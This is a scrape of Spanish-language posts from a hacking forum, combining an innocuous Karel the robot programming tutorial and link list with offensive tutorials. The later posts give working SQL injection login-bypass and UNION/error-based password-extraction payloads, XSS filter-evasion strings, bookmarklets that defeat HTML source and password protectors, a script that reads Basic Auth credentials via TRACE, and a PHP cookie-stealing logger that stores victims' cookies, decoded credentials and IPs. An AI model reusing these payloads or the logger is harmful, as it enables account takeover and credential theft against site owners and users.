http://foro.elhacker.net/index.php/topic,72226.0.html

Enviar Correo con Python
http://foro.elhacker.net/index.php/topic,132706.0.html

[PAPER] Compilación de scripts en Python a .exe
http://foro.elhacker.net/index.php/topic,332575.0.html

Pack de 15 cursos y tutoriales de Python en pdf
http://foro.elhacker.net/index.php/topic,369548.0.html

[Videotutorial] Programando en Python
http://foro.elhacker.net/index.php/topic,406082.0.html

Proyecto Monster Girl Quest Kirito Adventure [Python,Juego]
http://foro.elhacker.net/scripting/proyecto_monster_girl_quest_kirito_adventure_pythonjuego-t407121.0.html




Ruby:

Foro:

[Introducing Ruby] Lo que debes saber sobre Ruby
http://foro.elhacker.net/index.php/topic,321085.0.html




Ultima limpieza de contenido realizada por Elektro el 11/01/2014
#51
Tutorial de Karel el robot
Les advierto, en este pequeño taller no van a aprender a programar en ningun lenguaje que les servira en el futuro.

Aprenderan la sintaxis de Java y/o de Pascal pero NO aprenderan las instrucciones nativas de ninguno de estos.

En este taller aprenderan a programar a un robot virtual llamado Karel.

Antes que nada yo no hize Karel, ni ayude a su desarrollo, solo lo encontre, lo use y me gusto para hacer este taller.

Karel es un robot, con forma de flecha azul xD
es tonto.
no sabe nada mas que:
avanza;
gira-izquierda;

ah y:
coge-zumbador;
deja-zumbador;

Bueno, pero tiene buena memoria, y es muy obediente.

Este programa se usa en la OMI y desconozco si se use en la IOI tambien.

En fin, "Karel el robot" (de ahora en adelante Karel) puede recibir las instrucciones antes mencionadas.. y vive en un mundo de cuadritos grises, de 100x100.

Este es un ejemplo de Karel en acción:



Lo pueden descargar aqui:

http://www.olimpiadadeinformatica.org.mx/Karel.htm

Hay otras versiones (las originales) pero en ingles y para java aqui:

http://csis.pace.edu/~bergin/KarelJava2ed/KJRDistribution060110.zip
http://csis.pace.edu/~bergin/KarelJava2ed/kareluniverse/kareluniversedist060309.zip
http://www.wiley.com/college/pattis/0471597252/instructor/karel.exe
http://sourceforge.net/project/showfiles.php?group_id=8696
etc..

En fin, abrimos el programa, nos vamos a la pestaña de Mundo.

En la esquina inferior izquierda, y viendo hacia arriba, se encuentra Karel.

si dan click derecho en una zona blanca, podran ver un menu contextual, donde les preguntan si quieren colocar a Karel en ese lugar, y si quieres poner algun zumbador en ese lugar. si dan click al lado de un cuadro gris, se pondra una pared ;).

en fin.. hagamos un "Hola Mundo" (o su equivalente) en Karel.

ponemos a karel (orientado al norte) en las coordenadas: 2,2 es decir aqui:


Nos vamos a la pestaña de Programa.
damos click en Nuevo.

vamos a ver esto:

iniciar-programa
    inicia-ejecucion
        apagate;
    termina-ejecucion
finalizar-programa


esto hace:


inicia el programa
    inicia lo que va a ejecutar
        apaga a karel
    termina lo que va a ejecutar
finaliza el programa


:o facil, no?

Todo lo que queramos que haga karel, lo debemos poner despues de:
inicia-ejecucion
y antes de:
termina-ejecucion

ojo!! NUNCA pero NUNCA pongan acentos.

ahora, si queremos que Karel haga algo, pues empezamos a ordenarle:


iniciar-programa
    inicia-ejecucion
        avanza;
        apagate;
    termina-ejecucion
finalizar-programa

le agregué una linea al programa.. esta:
Citar
iniciar-programa
    inicia-ejecucion
        avanza;
        apagate;
    termina-ejecucion
finalizar-programa

Damos click en el botón COMPILAR.
es muy importante sino no funciona.. acostumbrence a oprimir ese botón, en la gran mayoria de los lenguajes sino es que todos se necesita hacer algo similar antes de ver que hace tu programa.

Una vez que dimos click en COMPILAR. nos vamos a la pestaña de Ejecutar.

Y ahi, al botón Ejecutar.

Genial, Karel avanza un espacio, y se apaga.

Damos Aceptar, y regresamos a la pestaña de Programa.
despues del avanza le agregamos un gira-izquierda;

OJO!! es MUY importante que al finalizar cada instrucción agreguen un "punto y coma" = ";"

El código queda asi:
Citar
iniciar-programa
    inicia-ejecucion
        avanza;
        gira-izquierda;
        apagate;
    termina-ejecucion
finalizar-programa


Damos click a COMPILAR!!
Vamos a la pestaña de Ejecución.
Damos Correr.

y listo, Karel:
  avanza y despues gira a la izquierda

regresamos a Programa.

despues del gira-izquierda agregamos 2 avanza;

queda asi:
Citar
iniciar-programa
    inicia-ejecucion
        avanza;
        gira-izquierda;
        avanza;
        avanza;
        apagate;
    termina-ejecucion
finalizar-programa


Damos a COMPILAR!!
vamos a la pestaña de Ejecutar
Damos click en Correr.
y Tssss error.



Obviamente Karel es un robot no un fantasma y no puede pasar por una pared.. resultado el programa te salta error.

En fin, lo superamos entonces ahora tenemos que pensar.. diablos y como va a saber karel si tiene enfrente una pared..

pues bueno, existe algo llamado "si", y se usa asi:

si [condicion] entonces [accion]

ahora, las condiciones que puede detectar Karel son:
Citar
frente-libre
junto-a-zumbador
orientado-al-este
frente-bloqueado
no-junto-a-zumbador
orientado-al-oeste
izquierda-libre
algun-zumbador-en-la-mochila
no-orientado-al-norte
izquierda-bloqueada
ningun-zumbador-en-la-mochila
no-orientado-al-sur
derecha-libre
orientado-al-norte
no-orientado-al-este
derecha-bloqueada
orientado-al-sur
no-orientado-al-oeste

de hecho hay alguna que otra mas, pero esas son mas avanzadas.

Es obvio lo que detecta cada condición ¿no?
Citar
frente-libre      - Detecta si el frente esta libre
junto-a-zumbador  - Detecta si esta junto a zumabador
orientado-al-este - Detecta si Karel esta viendo al este
frente-bloqueado  - Detecta si esta bloquado el frente
no-junto-a-zumbador- Detecta si no esta junto a zumbador
etc..

Genial, ahora usemos "si".

Citar
iniciar-programa
    inicia-ejecucion
        avanza;
        gira-izquierda;
        avanza;
        si frente-libre entonces avanza;
        apagate;
    termina-ejecucion
finalizar-programa


damos click a COMPILAR!!
Pestaña de Ejecutar, Correr.

Y ya no sale error :)

¿que bien no?

Bueno, ahora coloquen a karel en las coordenadas 7,1
para cambiar de posicion a Karel debes irte a la pestaña Mundo.

Nos regresamos a la pestaña programa.

Ahora nosotros queremos que llegue a las coordenadas 1,1
que hacemos?

facil..
Citar
iniciar-programa
    inicia-ejecucion
        gira-izquierda;
        avanza;
        avanza;
        avanza;
        avanza;
        avanza;
        avanza;
        apagate;
    termina-ejecucion
finalizar-programa


:)

Bien, pero les presento a "repetir":
funciona asi:
repetir [cantidad] veces [accion]
entonces si ponemos:
Citar
iniciar-programa
    inicia-ejecucion
        gira-izquierda;
        repetir 6 veces avanza;
        apagate;
    termina-ejecucion
finalizar-programa


hace lo mismo que el anterior.

Bueno, ahora que tal que te digo, que Karel va a estar en una posicion desconocida, y debes llegar a 1,1.

Bueno les presento a "mientras" funciona parecido a "si":

mientras [condicion] hacer [accion]

y hace que mientras se cumpla la condición, haga la acción :o

asi que lo primero, es ver a la izquierda


gira-izquierda;


despues mientras tengamos el frente-libre hacer avanza;


gira-izquierda;
mientras frente-libre hacer avanza;


despues debemos ver hacia abajo, porque no sabemos a que altura este Karel.


gira-izquierda;


y hacemos lo mismo, buscar la pared.


mientras frente-libre hacer avanza;


el codigo queda asi:


iniciar-programa
    inicia-ejecucion
        gira-izquierda;
        mientras frente-libre hacer avanza;
        gira-izquierda;
        mientras frente-libre hacer avanza;
        apagate;
    termina-ejecucion
finalizar-programa


Genial, ahora coloca a Karel en el mundo en cualquier lugar orientado al norte, y veras que llegara a 1,1 ;)

Ahora, si nos dicen:

Haz que Karel llegue a 1,1 sin saber hacia donde esta viendo karel al principio.

es decir, no sabemos si esta viendo al norte,sur,este,oeste..

entonces usamos mientras.


mientras no-orientado-al-oeste hacer gira-izquierda;


lo que hace es que va a girar a la izquierda mientras no este orientado al oeste.

colocamos esta linea al prinicpio en lugar de el gira-izquierda, y..

Citar
iniciar-programa
    inicia-ejecucion
        mientras no-orientado-al-oeste hacer gira-izquierda;
        mientras frente-libre hacer avanza;
        gira-izquierda;
        mientras frente-libre hacer avanza;
        apagate;
    termina-ejecucion
finalizar-programa


Ok, ahora en el mundo, pon karel orientado en cualquier posición y en cualquier lugar y llegara a 1,1

Bueno, es facil, facil..

Ahora ¿que pasa si en un "si", "mientras" o un "repite" quieres hacer mas de una acción?

Facil, usamos:

inicio
fin;

OJO!! "inicio" NO lleva comilla, "fin;" SI.

todo lo que este entre inicio y fin se tomara como una acción.

ADEMAS.. "si" nos permite jugar aun mas con el.. ya que existe "sino"

funciona asi:


si [condicion] entonces inicio
acciones;
fin sino inicio
acciones2;
fin;


es decir.
si se cumple la condicion haz "acciones" sino se cumple haz "acciones2"

por ejemplo:

si orientado-al-norte entonces inicio
   avanza;
   gira-izquierda;
fin sino inicio
   repetir 2 veces inicio (*esto es igual a media vuelta*)
     gira-izquierda;
   fin;
fin;


Nota!!
En Karel todo lo que pongas entre "(*" y "*)" no se tomara en cuenta como instruccion.
Es preferible que siempre uses "inicio" y "fin;" sino puedes llegar a tener errores dificiles de encontrar.

Genial ya casi eres un experto en Karel!! (xD)

ahora sigue declarar funciones.

por ejemplo.. Karel NO tiene un gira-derecha;
que mal ¿no?
pues entonces le enseñas a Karel a girar a la derecha

las funciones se crean asi:


define-nueva-instruccion [nombre] como inicio
  [acciones]
fin;


Nota!!
recuerda NUNCA poner acentos.
recuerda PONER los punto y coma;
recuerda ACENTOS estan prohibidos
xD.

es decir para enseñarle a Karel a girar a la derecha, este es el código:


define-nueva-instruccion gira-derecha como inicio
  repetir 3 veces gira-izquierda;
fin;


¿Estamos de acuerdo que girar a la derecha es igual que girar 3 veces a la izquierda no?

ahora, es muy importante, las funciones NO se ponen despues de inicia ejecucion, se ponen ANTES!!

vean gira-derecha iria aqui:
Citar
iniciar-programa
define-nueva-instruccion gira-derecha como inicio
    repetir 3 veces gira-izquierda;
fin;

    inicia-ejecucion
        gira-derecha;
        apagate;
    termina-ejecucion
finalizar-programa


Para finalizar, Karel sabe hacer 2 cosas mas.

coge-zumbador;
y
deja-zumbador;

el primero, SI esta arriba de un zumbador, lo agarra, si no SALE ERROR, (esto lo compones usando "si" y la condición "junto-a-zumbador")

el segundo, SI tiene algun zumbador en la mochila (lo especificas en el mundo) lo deja si no SALE ERROR.

y.. eso es lo básico de Karel.. veran que no es muy dificil.. pero ahora se supone que con lo que saben, deben hacer ejercicios muy complejos.. no se preocupen no se los dejare hasta que les enseñe recursividad y paso de variables, pero enserio que pueden complicarte MUCHO la vida con este robotito.

En el programa en la Pestaña ayuda esta un pequeño tutorial de Karel donde les explican un poco mas avanzado esto..

Sin embargo deben poder ya con muchos problemas con Karel.

Les dejo algunos ejercicios.

Citar
Karel inicia en las coordenadas 1,1 orientado al norte.
Sobre el inicia un camino de zumbadores hacia arriba, tu debes hacer un programa que se detenga cuando ya no haya zumbadores o al chocar con pared.

Citar
Karel inicia en las coordenadas 2,1 y su orientación es desconocida, en (1-2) hay una pared de una altura desconocida, tu trabajo es hacer un programa que haga que Karel llegue a 1,1

Ejemplo:


Hay mas ejercicios en http://mundodekarel.cjb.net/ y en http://www.olimpiadadeinformatica.org.mx/Karel.htm

sin embargo por el momento solo podrian hacer ejercicios de dificultad baja, en la proxima sesión les pondre programación de Karel avanzada (recursividad, paso de variables, uso de precede y sucede, si-es-cero, etc..)

mientras tanto, si quieren (y si hay alguien que realmente llego hasta aqui.. xD) pongan sus soluciones, y pues suerte!!

Saludos!!
#52
Bugs y Exploits / FAQ de Vulnerabilidades
10 Enero 2006, 01:44 AM
De momento este sera el FAQ de Vulnerabilidades, sobre vulnerabilidades aquí podrán preguntar Dudas Básicas de sobre Bug y Exploits a nivel de aplicación.

En caso de que sea alguna duda que sea necesario discutirla en el foro, el tema sera movido.

-Anon




Atención
ESTE TALLER CONSTARA DE MULTIPLES SESIONES, PREFIERO IR LENTO Y QUE TODOS ENTIENDAN.



Temario:
Introduccion a Bugs
Definición de Bugs/Exploit
Ejemplo vida real
Ejercicio




Bueno un taller, o como lo veo yo, es algo en donde aprendes de la práctica.
esta es la primera clase (xD) por decirle así, y es un poco para evitar que se vallan por el mal camino, no duden en dejar sus dudas aqui, pero recuerden que seran borradas, para poder dar continuidad al taller, sinembargo todas las dudas seran contestadas en el proximo post.

Primero, que es un Bug?
contestare eso, diciendo que no es.
NO ES un programa que permite a un "supermegahx0r" entrar a la CIA
NO ES una linea de codigo
NO ES un insecto, ni lo que te estes imaginando que no sea:

un error de programación

eso es todo.. unos diran, UN FORO para eso.. un error de programación, ¿Porque no esta en la categoria de programación? ¿Porque esta en Hacking? ¿Porque todo parece girar alrededor de un Simple Error!!?

Bueno, porque es muy dificil hacer una aplicación GRANDE, segura.
por eso windows tiene errores, porque un grupo cerrado de personas, trabajan dia y noche para hacer muy bonito el sistema operativo, y cobrar sus cheques, pero en algun momento un programador se equivoca, no define bien una variabe, se salta un paso, no limpia una entrada, y un gusano infecta miles de millones de computadoras en 1 dia.

Yo he dicho, que debes saber mas que el propio programador, pero ahora veo que no es realmente así, porque hasta un programador, muy bueno, puede cometer un error, hasta ahora, no he descubierto ningun bug en ninuna aplicación que he hecho, el problema es que otros si lo han logrado.

en un lugar donde creo haber tomado todas las precauciones, siempre encuentran algo.. aveces es desesperante, pero de que alguien conocido encuentre el bug a alguien mas... prefiero yo saberlo, y así corregirlo.

ahora, donde entran los exploits?

los exploits, son otro programa, que usa este "bug" para hacer algo malo..

peinsen en que su programa es un niño chiquito y con amnesia.

deben de decirle que hacer bajo cada situación.

no abras la puerta a ningun extraño.
no dejes pasar a ninguna persona conocida con animales.
no dejes pasar a ninguna persona conocida con armas.

pero llega un señor, desconocido. con un changuito y una pistola, se queda afuera de la puerta, se presenta al niño, el niño lo conoce, y le da al changuito el arma, el changuito entra con el arma y despues el señor, como ya lo conoce el niño, entra, toma el arma una vez dentro, y lo roba.

ahora, el niño siempre siguio tus ordenes.
pero aun así, lo mataron.
¿suena muy fuerte verdad?
ahora que prefieres, que un compañero entre y en lugar de matar al niño, te hable por telefono, diciendote del problema, o.. que lo haga alguien desconocido?

bueno, no se si en alguna clase de computación, la primera clase no prenden las computadoras.. eso me pasa desde primaria.. nunca entendia porque, y hoy ustedes tendran la misma duda.

ustedes son ladrones de bancos, y quieren robar todo el dinero de el banco de la esquina, hay varias funciones (empleados), y estos se deben de encargar de evitar que tu salgas de ahi con dinero que no te pertenece, tu debes de crear un escenario en el cual, sin romper ninguna regla, salgas con el dinero en la mano.

estas son las funciones:

guardia_de_la_puerta (persona, accion){
si (accion == "entrar"){
si (alarma_prendida && persona != policia){
no dejar entrar;
}sino{
dejar entrar;
}
}sino{
si (alarma_prendida && persona != policia){
no dejar salir;
}sino{
dejar salir;
}
}
}

cajero(persona,dinero,cuenta){
if(persona==cuenta.dueño){
if(dinero<=cuenta.total){
dar.dinero.a.persona;
}sino{
decir("No tiene saldo señor/señora");
}
}sino{
alarma_prendida=true;
}
}


ahora, tu solo puedes modificar la variable dinero, acción, y cuenta. no puedes falsificar persona.
tu solo tienes una cuenta de $500.00 y quieres sacar todo el dinero del banco. despues debes salir por donde esta el guardia de la puerta, (solo puedes salir por ahi, y DEBES salir)

por cierto, no eres policia.

Respuestas, escribanlas, pero no me las manden.. :) es solo para demostrar el concepto, la proxima sesión ya hablaremos de programación, haber cual es la respuesta mas creativa, el que gane, gana que su post se quede sin borrarse.


Saludos!!

ESTE TALLER CONSTARA DE MULTIPLES SESIONES, PREFIERO IR LENTO Y QUE TODOS ENTIENDAN.
#53
Solo por ayudar.. una manera mas sencilla de tirar el altrise HTMLock, HTML Protector, AEVITA Strong - Advanced HTML Encrypt ,HTML Guardian, LastBit WebPassword 6.092, Sare2S Webpage Protector, codificacion escape, o url encode (WebMasterScene HTML Protect), y el srcencode de microsoft, y muchos mas sistemas o programas que intentan esconder el codigo fuente.

colocar esto en la barra de direcciones, para ver el codigo fuente escondido  (htmlocksrc, HTML protector, etc..)

javascript:'<xmp>'+document.body.innerHTML


y para codificacion con password SOLO EN EL ALTRISE, colocar esto en la barra de direcciones

javascript:document.write(document.documentElement.innerHTML.split("if(er==1)alert(emsg);return%20false;").join(""));document.forms[0].pwd.value="<HTML><TITLE>";document.forms[0].submit.click();document.forms[0].submit.click();

Y oprimir el boton de show!!

Para probar dar en los demos de..
http://www.atrise.com/htmlock/
http://www.protware.com/demo_e.htm
http://www.aevita.com/web/lock/samples.htm
http://www.share2s.com/web-encrypt.html
http://www.antssoft.com/htmlprotector/protected_sample.htm
http://lastbit.com/webpsw/sample3.htm

Decidi hacer esto, porque me encontre con una pagina con la fuente "Escondida".. asi que como no me gusta le gente envidiosa, y en busca de que internet sea un lugar donde circule la informacion libre.. cree este code.

Y lo peor esque aparte hacen que la gente compre sus productos, cuando asi de facil los tiras, por el caño.. no no que fraude.

la sección de codificacion con password de Altrise esta basado en el texto desarrollado por TULKAS, pero en su metodo, debes descargar la pagina, en este, solo dar enter ;)


Saludos!!


** EDITADO

Uno mas a la lista:
HTMLGuardian

Otro:
Aevita Advanced Password Encrypt

Otro:
Sare2S Webpage Protector

#54
Tutorial de Inyección SQL. (SQL Injection)
Por SirDarckCat

La inyección SQL es el ataque vía web, que aprovecha errores en la filtración de datos introducidos por el usuario, y que permiten a un atacante, tener control de cierta aplicación.



ATENCIÓN

Para poder explotar con exito una falla de inyección SQL es necesario que sepan con anterioridad el lenguaje.

información sobre su implementación en PHP se puede encontrar en
http://php.net/mysql
http://dev.mysql.com/




Los ataques SQL pueden ser evitados de muchas formas, iniciare con algunos ejemplos de instrucciones vulnerables, con las "magic quotes" desactivadas.

Ejemplo 1

$us=$_POST['usuario'];
$pass=$_POST['pass'];
$sql="SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'";

-- código largo cortado --

if(mysql_fetch_array($exc)){
echo "Inicio de sesión correcto"; // Esto fue modificado
}


Este es el tipico sistema de verificacion de contraseñas..
utiliza la instruccion mysql_fetch_array(funcion de mysql, que devuelve falso si no hay ningun resultado, en la 'querry', o petición), asi que si no hay ningun resultado donde el usuario y el password conuerden, el resultado es false :P.

como podemos hacer que no devuelva false??

  • Con el password correcto
  • Haciendo trampa

Logicamente, no usaremos la primera opción xD

Haciendo trampa.. se haria algo asi:
esta es la petición que solo nos deja pasar si sabesmos el pass..

SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'

ahora, ¿como se puede hacer que nos devuelva true aunque no sepamos el password, sabiendo que solo podemos modificar $pass y $us?
Supongamos que ponemos de usuario Pegaso, y de password pjps.
El usuario existe, pero no sabemos el pass..
la sentencia que SQL recibira sera:

SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='pjps'

y como no hay ningun campo donde el usuario y el password coincidan, nos devolvera false :(

Ahora, con un poco de creatividad:
de usuario:    Pegaso
de password: ' OR ''='

la sentencia SQL recibira:

SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='' OR ''=''

nos devolvera true, si hay algun resultado y como NADA siempre es igual a NADA, nos devolvera true, y pasamos el mecanismo de validación como Pegaso.

Otros posibles valores que devuelven true son:

  • usuario: Pegaso AND /*   password: */ ''='
  • usuario: ' OR 1=1 //

Ahora... que si quisieras saber el password.. (te advierto, que normalmente esta cifrado, y deberas desencriptarlo, con alguna herramienta para eso como john the ripper), tomemos el siguiente ejemplo

Ejemplo 2

$us=$_POST['usuario'];
$pas=$_POST['pass'];
if($_GET['usuario'] || $_GET['pass']){
die("Hack Attempt");
}
$sql="SELECT password FROM usuarios WHERE user = '$us'";

-- código largo cortado --

$resp = mysql_query($sql) or die(mysql_error());
if(mysql_fetch_array($resp)){
if($resp==$pas){
echo "Inicio de sesión exitoso"; // Esto fue modificado
}else{
echo "el password $resp es incorrecto";
}
}



Bien, este ejemplo, que se ve mucho mas seguro (y sacado de una aplicación real), ¿es vulnerable?
SI, ¿porque?
Ya quedamos en que no hay magic quotes, las magic quotes son una función que trata de desactivar todas las cadenas introducidas por el usuario, que parezcan peligrosas, como comillas, diagonales, \0 etc..
el webmaster pensó, que como no usaba el mysql_fetch_array, entonces no podian usar un ' OR ''=', como la inyección clasica, pasada.

Ahora, queremos sacar el password.. pero.. ¿como?

Hay una instruccion en SQL llamada UNION, que sirve para obtener información de 2 tablas, o..
Bueno.. UNION necesita algunos requisitos.

  • Necesitas meter la misma cantidad de valores que tiene la tabla.
  • Tener un informe de los errores que provocaremos en la instrucción

Bien ahora empezemos.
la instrucción a modificar es la siguiente:

SELECT password FROM usuarios WHERE user = '$us'

como ejemplo, si colocalmos de usuario: zanahoria
la instrucción que llega seria:

SELECT password FROM usuarios WHERE user = 'zanahoria'

Otra vez necesitamos creatividad :D
regresemos al UNION.

UNION necesita que el numero de columnas sea igual, sino sacara un error.

y exactamente, lo que necesitamos es un error, que nos diga cuando estamos mal, para saber cuando estamos bien.

el UNION se usa de esta forma:

usuario: ' AND 0 UNION SELECT 1 AND 'l'='
SELECT password FROM usuarios WHERE user = '' AND 0 UNION SELECT 1 AND 'l'=''

para lo cual SQL nos respondera:
Citar
The used SELECT statements have a different number of columns:SELECT password FROM usuarios WHERE user = '' AND 0 UNION SELECT 1 AND 'l'=''

Continuando por el mismo camino, podemos hacer que nos regrese un error, al tratar de UNIR un campo de tipo INT (osea que guarda numeros) a un CHAR (guarda letras)

Quedaria algo asi:

' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = 'zanahoria

la sentencia seria esta:

SELECT password FROM usuarios WHERE user = '' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = 'zanahoria'

que nos da como error:
Citar
Syntax error converting the varchar value 'naranja' to a column of data type int.

donde el password es naranja   8) 8)



Las inyecciones ultimamente han logrado tener mas poder que antes, segun el blog de acidbits, solo debemos sacar toda la información posible, y con un poco de esfuerzo, conseguimos tener control de archivos (crear, borrar, etc..).

el siguiente es un ejemplo, con la misma sentencia
usuario:
' AND 0 UNION SELECT 1,user(),3,4,5 AND 'l'='


y nos regresa:
Citar
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

que significa esto? que estamos metiendo valores en utf cuando debe ser en latin1.. eso lo arreglamos asi:

' AND 0 UNION SELECT 1,convert(user() using latin1),3,4,5 AND ''l='

y eso nos regresa:

Citarroot@localhost

esto, no es todo, con hacer que regrese valores con '<??>', podemos incluso crearnos nuestra shell.

Para ver el metodo completo de acidbits, da click aquí.

Ejercicio :):
¿Que puedes hacer con esta sentencia?

$sql="UPDATE clicks set dat=now(), aas=aas+1 where  ref='$HTTPREFFERER'";
$resp = mysql_query($sql) or die(mysql_error());


Coloca el archivo anexo en tu servidor, con las respectivas configuraciones SQL necesarias, en una carpeta protegida, e intenta autohackearte, eso te dara practica.

Proximamente:
Blind SQL Inyection

Citar
(c) Sirdarckcat 2005
Autorizo la reproducción total o parcial de este documento bajo los terminos de la licencia de documentacion libre de GNU, una copia puede ser encontrada en http://www.gnu.org/
#55
Los Poderes Secretos de XSS por
">sirdarckcat.


XSS aka Cross Site Scripting es el ataque basado en la explotacion de vulnerabilidades de el sistema de validación de HTML incrustado.
El problema es que normalmente no se valida correctamente, esta vulnerabilidad puede estar de forma directa (foros, mensajes de error, etc..) o indirecta (redirecciones, framesets, etc..)
cada una se trata de forma diferente:


TipoManejo
DirectaEste tipo de XSS, es el que normalmente es censurado, asi que es muy poco comun que puedas usar tags como <script o <iframe, sinembargo nunca es malo probar, para ver formas de pasar estas protecciones, debes de saber mas de HTML que el creador del sitio
IndirectaEsta es un tipo de vulnerabilidad, muy comun, y muy poco explotada, consiste en modificar valores que la aplicacion web utiliza para pasar variables entre 2 paginas, sin usar sesiones.

Indirecta
Explicare primero la Indirecta, ya que es la menos censurada.
Esta sucede cuando hay un mensaje o una ruta en la URL del navegador o en la cookie.
para saber el contenido de una cookie, sin usar ningun tipo de iecv o addin para tu navegador, puedes usar el siguiente script, solo colocalo en la barra de direcciones, y presiona Enter.

javascript:void(document.cookie=prompt("Modifica el valor de la cookie",document.cookie).split(";"));

una vez dentro podras modificar la cookie a tu antojo, si pones cancelar la cookie se borrará.
ahora, que podemos ver con este ejemplo?
que podemos meter comandos javascript solo modificando una URL, como puedes aventajarte de esto?

Usando FrameSets
bien, regresemos al ejemplo de el frameset, que segun la pagina que coloques te crea un frame a esa pagina.
que pasara si pones, en esa URL
javascript:while(1)alert("Te estoy floodeando");
y el link, lo pones en un foro, un navegador incauto, va a verlo y dira, bueno, es del mismo dominio, no puede ser nada malo.. y de resultado tendra un loop infinito.

Ahora, hasta ahi llegan los newbies, pero vamos a evolucionar un poco, ahora, que tal que pones un script que tome tu cookie, y mande un mp a el administrador, o incluso, que borre todos tus post en X foro, todo esto es posible.. y solo necesita un poco de imaginación.
Ahora lo que va.. el robo de cookies, es lo mas basico, y tiene como objetivo robar la cookie.. me diran, y eso de que sirve? tengo el PHPSESSID, y si el usuario ciera sesion no me servira de nada.
tienes razon, pero por ejemplo, con el uso de la libreria cURL un usuario malintencionado, podria al recibir tu cookie, entrar a la pagina, y dejarla en cache, para que el atacante cuando quiera, pueda entrar como tu, sin siquiera necesitar tu password.. esto va cobrando seriedad no?
ahora que mas?
Otro uso comun para estas vulnerabilidades es lograr hacer phishing, o colocar un Xploit..
tu ves la barra de direcciones, y ves que estas en una pagina, pero realmente estas en otra.. metes tu pass, y ya valiste.
Pero lo que me gusta mas, son los sitios de descarga, que colocan en la misma url, el sitio de objetivo.. esas paginas, son vulnerables a ataques XSS indirectos directos xD
osea, puedes colocar una imagen con link al sitio malicioso, y se ejecuta, sin que el usuario lo sepa.
Incluso PODIAS borrar un post en phpBB, o hacerte admin (era posible, no me molesten, claro que si), con este tipo de vulnerabilidad.
Ahora, vamos al siguiente tipo indirecto.

Mensaje personalizado
Estas, son forsosamente para links, no funciona en imagenes (al menos no he visto ninguna que sirva.) y va en esta forma:

error.php?error=Usuario%20Invalido

esa pagina, es vulnerable a XSS Indirecto.
con esto puedes meter casi lo que sea ahi dentro.
un <script> que te cree otra sesion bajo otro usuario, y tu sesion actual la mande a el atacante (es lo que explicaba de cURL hace un momento), o lo que sea.. aqui hay muy pocas limitantes.
Voy a explicar como puedes modificar TODA la pagina, osea todo su aspecto, con una vunerabilidad como esta.
con este codigo, se borra todo el contenido de la pagina, y escribe otra cosa:

<script>
document.documentElement.innerHTML="DEFACED";
</script>

muy complicado?
esto tiene muchos usos potenciales..

Directa
Esta es la mas divertida, y es cuando en por ejemplo.. un foro como este puedo meter un tag, y ejecutar un codigo, que pueda hacer casi lo mismo, o lo mismo que el Indirecto de Mensaje.
Funciona localizando puntos debiles en la programación de los filtros, asi que si por ejemplo, logran quitar los <iframe, <script etc.. siempre puedes poner un <div malicioso, o incluso un <u> o <s>, etc.. tags que casi siempre estan permitidos.
Esto pone los pelos de punta a muchos webmasters, afortunadamente, muchos no saben del "lado obscuro" de HTML + IExplorer :)
colocare una sección del CheatSheet de RSnake (http://ha.ckers.org/xss.html)
Citar
Embedded tab to break up the cross site scripting attack: <IMG SRC="jav ascript:alert('XSS');">

Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):
<IMG SRC="jav&#x0D;ascript:alert('XSS');">

Spaces and meta chars before the javascript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal):
<IMG SRC=" &#14; javascript:alert('XSS');">

Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes any non-alpha-non-digit is a non-valid after an HTML and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT&XSS\s":
<SCRIPT&XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>

INPUT image:
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

Entre muchos otros, les recomiendo, que cuando busquen vulnerabilidades XSS, entren a esa página muy buena recopilación., voy a profundizar en ún tipo de esos ataques.

<BR SIZE="&{alert('XSS')}">
<FK STYLE="behavior: url(http://ha.ckers.org/xss.htc);">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">

usar Style es increiblemente facil de usar, y muchos filtros son vulnerables.
quien se va a imaginar que puedes meter cosas en este!! pues ya ven.. si puedes :)
logicamente no vas a meter todo en el espacio que tienes, puedes usar:

eval(this.fu)
y en el div, agregar un campo "fu" con el codigo
<div fu="alert('Hola');" STYLE="background-image: url(javascript:eval(this.fu))">


AJAXSS
Este es un tipo de XSS no tan conocido, pero peligroso.
se basa en usar cualquier tipo de vulnerabilidad para introducir un objeto XMLHTTP y desde ahi enviar contenido POST, GET, etc.. automaticamente, sin conocimeinto del usuario, un Bug de XSS, usando esta tecnica en MySpace de MSN, permitio que una persona, lograra tener mucha fama (y es que pudo haber hecho cosas malas, afortunadamente solo hizo esto)
El potencial de este tipo de ataque es infinitamente alto, asi que "Be scared", porque parece ser que tiene un futuro prometedor.

El siguiente script obtiene el valor de las cabezeras de autenticacion de un sistema basado en Basic Auth. solo habria que decodificarlo, pero es mas facil mandarlo codificado a tu log de contraseñas, la codificacion es base64.


var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.open("TRACE","./",false);
xmlhttp.send();
str1=xmlhttp.responseText;
splitString = str1.split("Authorization: Basic ");
str2=splitString[1];
str3=str2.split("Cache");
alert(str3);


log.php para registrar cookies

<?php
$archivo 
fopen('log2.htm','a');

$cookie $_GET['c'];
$usuario $_GET['id']; 
$ip getenv ('REMOTE_ADDR');
$re $HTTPREFERRER;
$fecha=date("j F, Y, g:i a");

fwrite($archivo'
USUARIO Y PASSWORD: '
.base64_decode($usuario).'
Cookie: '
.$cookie.'
Pagina: '
.$re.'
 IP: ' 
.$ip'
 Fecha y Hora: ' 
.$fecha'</hr>');

fclose($archivo);
?>



Links

  • Anexo(ADB.htm) -Codificador URL, UTF-8 y de Entidades HTML
